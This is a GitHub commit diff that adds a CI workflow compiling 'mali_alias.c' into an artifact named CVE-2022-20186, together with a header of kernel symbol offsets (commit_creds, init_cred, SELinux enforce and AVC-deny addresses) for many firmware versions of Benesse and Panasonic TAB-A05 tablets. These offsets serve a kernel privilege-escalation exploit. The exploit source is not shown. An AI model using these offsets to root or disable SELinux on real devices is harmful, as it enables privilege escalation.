-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
256 additions
and
57 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
name: Compile | ||
|
||
on: | ||
push: | ||
paths: | ||
- '*.c' | ||
- '*.h' | ||
- '.github/workflows/compile.yml' | ||
workflow_dispatch: | ||
|
||
jobs: | ||
compile: | ||
name: Compile | ||
runs-on: ubuntu-latest | ||
|
||
steps: | ||
- name: Checkout | ||
uses: actions/checkout@v4 | ||
|
||
- name: Compile | ||
run: $ANDROID_NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android28-clang mali_alias.c -o mali_alias | ||
|
||
- name: Uplaod | ||
uses: actions/upload-artifact@v4 | ||
with: | ||
name: CVE-2022-20186 | ||
path: mali_alias |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
/mali_alias |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
|
||
// TAB-A05-BD 00.04.000 | ||
#define CTX_00_04_000 "benesse/TAB-A05-BD/TAB-A05-BD:9/00.04.000/00.04.000:user/release-keys" | ||
#define COMMIT_CREDS_CTX_00_04_000 0x5a120 | ||
#define AVC_DENY_CTX_00_04_000 0x35acc8 | ||
#define SEL_READ_ENFORCE_CTX_00_04_000 0x3653a8 | ||
#define INIT_CRED_CTX_00_04_000 0x11553f0 | ||
#define ADD_INIT_CTX_00_04_000 0x910fc000 | ||
#define ADD_COMMIT_CTX_00_04_000 0x91048108 | ||
|
||
// TAB-A05-BD 00.05.000 | ||
#define CTX_00_05_000 "benesse/TAB-A05-BD/TAB-A05-BD:9/00.05.000/00.05.000:user/release-keys" | ||
#define COMMIT_CREDS_CTX_00_05_000 0x5a120 | ||
#define AVC_DENY_CTX_00_05_000 0x35acc8 | ||
#define SEL_READ_ENFORCE_CTX_00_05_000 0x3653a8 | ||
#define INIT_CRED_CTX_00_05_000 0x11553f0 | ||
#define ADD_INIT_CTX_00_05_000 0x910fc000 | ||
#define ADD_COMMIT_CTX_00_05_000 0x91048108 | ||
|
||
// TAB-A05-BD 00.08.000 | ||
#define CTX_00_08_000 "benesse/TAB-A05-BD/TAB-A05-BD:9/00.08.000/00.08.000:user/release-keys" | ||
#define COMMIT_CREDS_CTX_00_08_000 0x5a120 | ||
#define AVC_DENY_CTX_00_08_000 0x35acc8 | ||
#define SEL_READ_ENFORCE_CTX_00_08_000 0x3653a8 | ||
#define INIT_CRED_CTX_00_08_000 0x11553f0 | ||
#define ADD_INIT_CTX_00_08_000 0x910fc000 | ||
#define ADD_COMMIT_CTX_00_08_000 0x91048108 | ||
|
||
// TAB-A05-BD 00.09.000 | ||
#define CTX_00_09_000 "benesse/TAB-A05-BD/TAB-A05-BD:9/00.09.000/00.09.000:user/release-keys" | ||
#define COMMIT_CREDS_CTX_00_09_000 0x5a120 | ||
#define AVC_DENY_CTX_00_09_000 0x35acc8 | ||
#define SEL_READ_ENFORCE_CTX_00_09_000 0x3653a8 | ||
#define INIT_CRED_CTX_00_09_000 0x11553f0 | ||
#define ADD_INIT_CTX_00_09_000 0x910fc000 | ||
#define ADD_COMMIT_CTX_00_09_000 0x91048108 | ||
|
||
// TAB-A05-BD 01.00.000 | ||
#define CTX_01_00_000 "benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys" | ||
#define COMMIT_CREDS_CTX_01_00_000 0x5a120 | ||
#define AVC_DENY_CTX_01_00_000 0x35acc8 | ||
#define SEL_READ_ENFORCE_CTX_01_00_000 0x3653a8 | ||
#define INIT_CRED_CTX_01_00_000 0x11553f0 | ||
#define ADD_INIT_CTX_01_00_000 0x910fc000 | ||
#define ADD_COMMIT_CTX_01_00_000 0x91048108 | ||
|
||
// TAB-A05-BD 01.01.001 | ||
#define CTX_01_01_001 "benesse/TAB-A05-BD/TAB-A05-BD:9/01.01.001/01.01.001:user/release-keys" | ||
#define COMMIT_CREDS_CTX_01_01_001 0x5a120 | ||
#define AVC_DENY_CTX_01_01_001 0x35acc8 | ||
#define SEL_READ_ENFORCE_CTX_01_01_001 0x365418 | ||
#define INIT_CRED_CTX_01_01_001 0x11653f0 | ||
#define ADD_INIT_CTX_01_01_001 0x910fc000 | ||
#define ADD_COMMIT_CTX_01_01_001 0x91048108 | ||
|
||
// TAB-A05-BD 01.04.000 | ||
#define CTX_01_04_000 "benesse/TAB-A05-BD/TAB-A05-BD:9/01.04.000/01.04.000:user/release-keys" | ||
#define COMMIT_CREDS_CTX_01_04_000 0x5a120 | ||
#define AVC_DENY_CTX_01_04_000 0x35ac10 | ||
#define SEL_READ_ENFORCE_CTX_01_04_000 0x365360 | ||
#define INIT_CRED_CTX_01_04_000 0x11653f0 | ||
#define ADD_INIT_CTX_01_04_000 0x910fc000 | ||
#define ADD_COMMIT_CTX_01_04_000 0x91048108 | ||
|
||
// TAB-A05-BD 01.11.000 | ||
#define CTX_01_11_000 "benesse/TAB-A05-BD/TAB-A05-BD:9/01.11.000/01.11.000:user/release-keys" | ||
#define COMMIT_CREDS_CTX_01_11_000 0x5a120 | ||
#define AVC_DENY_CTX_01_11_000 0x359c20 | ||
#define SEL_READ_ENFORCE_CTX_01_11_000 0x364370 | ||
#define INIT_CRED_CTX_01_11_000 0x11653f0 | ||
#define ADD_INIT_CTX_01_11_000 0x910fc000 | ||
#define ADD_COMMIT_CTX_01_11_000 0x91048108 | ||
|
||
// TAB-A05-BA1 00.03.000 | ||
#define CTZ_00_03_000 "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/00.03.000/00.03.000:user/release-keys" | ||
#define COMMIT_CREDS_CTZ_00_03_000 0x5a120 | ||
#define AVC_DENY_CTZ_00_03_000 0x359c20 | ||
#define SEL_READ_ENFORCE_CTZ_00_03_000 0x364370 | ||
#define INIT_CRED_CTZ_00_03_000 0x11753f0 | ||
#define ADD_INIT_CTZ_00_03_000 0x910fc000 | ||
#define ADD_COMMIT_CTZ_00_03_000 0x91048108 | ||
|
||
// TAB-A05-BA1 01.00.000 | ||
#define CTZ_01_00_000 "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/01.00.000/01.00.000:user/release-keys" | ||
#define COMMIT_CREDS_CTZ_01_00_000 0x5a120 | ||
#define AVC_DENY_CTZ_01_00_000 0x359c20 | ||
#define SEL_READ_ENFORCE_CTZ_01_00_000 0x364370 | ||
#define INIT_CRED_CTZ_01_00_000 0x11653f0 | ||
#define ADD_INIT_CTZ_01_00_000 0x910fc000 | ||
#define ADD_COMMIT_CTZ_01_00_000 0x91048108 | ||
|
||
// TAB-A05-BA1 01.01.000 | ||
#define CTZ_01_01_000 "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/01.01.000/01.01.000:user/release-keys" | ||
#define COMMIT_CREDS_CTZ_01_01_000 0x5a120 | ||
#define AVC_DENY_CTZ_01_01_000 0x359a68 | ||
#define SEL_READ_ENFORCE_CTZ_01_01_000 0x3641b8 | ||
#define INIT_CRED_CTZ_01_01_000 0x11653f0 | ||
#define ADD_INIT_CTZ_01_01_000 0x910fc000 | ||
#define ADD_COMMIT_CTZ_01_01_000 0x91048108 | ||
|
||
// TAB-A05-BA1 01.02.004 | ||
#define CTZ_01_02_004 "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/01.02.004/01.02.004:user/release-keys" | ||
#define COMMIT_CREDS_CTZ_01_02_004 0x5a120 | ||
#define AVC_DENY_CTZ_01_02_004 0x35bad0 | ||
#define SEL_READ_ENFORCE_CTZ_01_02_004 0x366190 | ||
#define INIT_CRED_CTZ_01_02_004 0x11a53f0 | ||
#define ADD_INIT_CTZ_01_02_004 0x910fc000 | ||
#define ADD_COMMIT_CTZ_01_02_004 0x91048108 | ||
|
||
// TAB-A05-BA1 01.02.005 | ||
#define CTZ_01_02_005 "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/01.02.005/01.02.005:user/release-keys" | ||
#define COMMIT_CREDS_CTZ_01_02_005 0x5a120 | ||
#define AVC_DENY_CTZ_01_02_005 0x35bad0 | ||
#define SEL_READ_ENFORCE_CTZ_01_02_005 0x366190 | ||
#define INIT_CRED_CTZ_01_02_005 0x11a53f0 | ||
#define ADD_INIT_CTZ_01_02_005 0x910fc000 | ||
#define ADD_COMMIT_CTZ_01_02_005 0x91048108 | ||
|
||
// TAB-A05-BA1 01.03.000 | ||
#define CTZ_01_03_000 "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/01.03.000/01.03.000:user/release-keys" | ||
#define COMMIT_CREDS_CTZ_01_03_000 0x5a120 | ||
#define AVC_DENY_CTZ_01_03_000 0x35bad0 | ||
#define SEL_READ_ENFORCE_CTZ_01_03_000 0x366190 | ||
#define INIT_CRED_CTZ_01_03_000 0x11a53f0 | ||
#define ADD_INIT_CTZ_01_03_000 0x910fc000 | ||
#define ADD_COMMIT_CTZ_01_03_000 0x91048108 |